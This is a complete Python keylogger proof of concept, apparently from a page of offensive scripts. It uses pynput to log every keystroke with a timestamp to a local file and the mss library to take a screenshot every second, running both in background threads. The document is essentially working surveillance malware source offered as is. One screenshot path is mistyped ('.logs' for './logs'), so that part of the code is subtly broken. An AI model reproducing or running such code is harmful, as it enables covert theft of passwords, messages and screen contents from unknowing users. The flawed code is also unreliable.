Keylogger

#!/usr/bin/env python3

"""
Simple keylogger that stores keypresses and takes screenshots POC
"""

from mss import mss
from pynput.keyboard import Listener
from threading import Timer, Thread
import time
import os

class IntervalTimer(Timer):
    def run(self):
        while not self.finished.wait(self.interval):
            self.function(*self.args, **self.kwargs)

# encapsulate all the functionality the monitor will have
class Monitor:
    pass

    # store keypresses
    def _on_press(self, k):
        with open('./logs/keylogs/log.txt', 'a') as f:
            f.write(f'{k}\t\t{time.time()}\n')

    # create log folders
    def _build_logs(self):
        if not os.path.exists('./logs'):
            os.mkdir('./logs')
            os.mkdir('./logs/screenshots')
            os.mkdir('./logs/keylogs')


    def _keylogger(self):
        with Listener(on_press=self._on_press) as listener:
            listener.join()

    # screenshotting and storing screenshots
    def _screenshot(self):
        sct = mss() # take screenshot
        sct.shot(output='.logs/screenshots/{}.png'.format(time.time()))

    def run(self, interval=1):
        """
        Launch the keylogger and screenshot taker in two separate threads.
        Interval is the amount of time in seconds that occurs between screenshots.
        """
        self._build_logs()
        Thread(target=self._keylogger).start()
        IntervalTimer(interval, self._screenshot).start()

if __name__ == '__main__':
    mon = Monitor()
    mon.run() 

Last updated